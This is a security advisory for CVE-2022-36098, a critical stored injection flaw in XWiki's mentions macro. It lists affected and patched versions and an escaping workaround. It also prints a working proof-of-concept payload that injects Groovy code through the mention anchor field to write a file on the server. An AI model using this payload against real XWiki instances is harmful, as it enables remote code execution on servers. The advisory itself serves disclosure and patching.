Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in org.xwiki.platform:xwiki-platform-mentions-ui

Critical **surli** published **GHSA-c5v8-2q4r-5w9v** on Sep 8

Package

org.xwiki.platform:xwiki-platform-mentions-ui (Maven)

Affected versions	Patched versions
>= 12.5-rc-1	14.4, 13.10.6

Description

Impact

It's possible to store Javascript or groovy scripts in an mention macro anchor or reference field. The stored code is executed by anyone visiting the page with the mention.

For example, the example below will create a file at `/tmp/exploit.txt` :

```
{{mention reference="XWiki.Translation" anchor="{{/html~}~}{{async async=~"true~"
cached=~"false~" context=~"doc.reference~"~}~}{{groovy~}~}new
File(~"/tmp/exploit.txt~").withWriter { out -> out.println(~"owned!~"); }{{/groovy~}~}
{{/async~}~}"/}}
```

Patches

This issue has been patched on XWiki 14.4 and 13.10.6.

Workarounds

It's possible to fix the vulnerability by updating `XWiki.Mentions.MentionsMacro` and edit the `Macro code` field of the `XWiki.WikiMacroClass` XObject.

```
<a id="$anchor" class="$stringtool.join($cssClasses, ' ')" data-reference="$services.model.seria
```

Must be replaced by

```
<a id="$escapetool.xml($anchor)" class="$stringtool.join($cssClasses, ' ')" data-reference="$esc
  $escapetool.xml($content)
</a>
```

See the patches:

- 14.4: `4f290d8`
- 13.10.6: `4032dc8` #diff-4fe22885f772e47d3561a05348f73921669ec12d4413b220383b73c7ae484bc4R608-R610

References

- https://jira.xwiki.org/browse/XWIKI-19752

For more information

If you have any questions or comments about this advisory:

- Open an issue in Jira XWiki.org
- Email us at Security Mailing List

Severity

Critical 9.9 / 10

CVSS base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	Low
User interaction	None
Scope	Changed
Confidentiality	High

Integrity	**High**
Availability	**High**

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2022-36098

Weaknesses

CWE-95